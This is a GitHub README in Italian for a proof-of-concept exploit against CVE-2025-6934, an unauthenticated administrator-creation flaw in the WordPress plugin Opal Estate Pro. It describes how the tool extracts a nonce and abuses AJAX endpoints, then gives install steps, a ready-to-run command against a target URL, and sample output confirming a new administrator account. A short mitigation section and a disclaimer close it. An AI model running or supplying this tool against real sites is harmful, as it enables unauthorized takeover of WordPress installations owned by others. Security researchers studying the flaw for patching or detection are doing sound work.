CVE-2025-6934 – Exploit di WordPress Opal Estate Pro

📖 Descrizione
Questo repository contiene un Proof of Concept (PoC) exploit per CVE-2025-6934,
una vulnerabilità critica nel Plugin WordPress: Opal Estate Pro <= 1.7.5, che consente la creazione di un account amministratore senza autenticazione.

⚠️ Disclaimer: questo strumento è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza.
L'autore non è responsabile per usi impropri o danni causati.

🚀 Funzionalità

• Rilevamento automatico della versione del plugin da readme.txt
• Estrazione del nonce per la registrazione
• Sfrutta endpoint AJAX vulnerabili
• Crea un nuovo account amministratore

🔧 Installazione

Clona il repository e installa le dipendenze:

git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ Utilizzo

Esegui lo script con il tuo target:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ Esempio di output:

[✔] Eksploitasi Berhasil!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 Screenshot

Screenshot dell'exploit

🛡️ Mitigazione

• Aggiorna alla versione più recente del plugin
• Oppure disattiva immediatamente il plugin vulnerabile
• Monitora i log di WordPress per la creazione di account non autorizzati

👤 Autore

Cyberlone Indonesia (Cyberlone)

📜 Licenza

Questo progetto è concesso in licenza sotto MIT License – consulta LICENSE per i dettagli.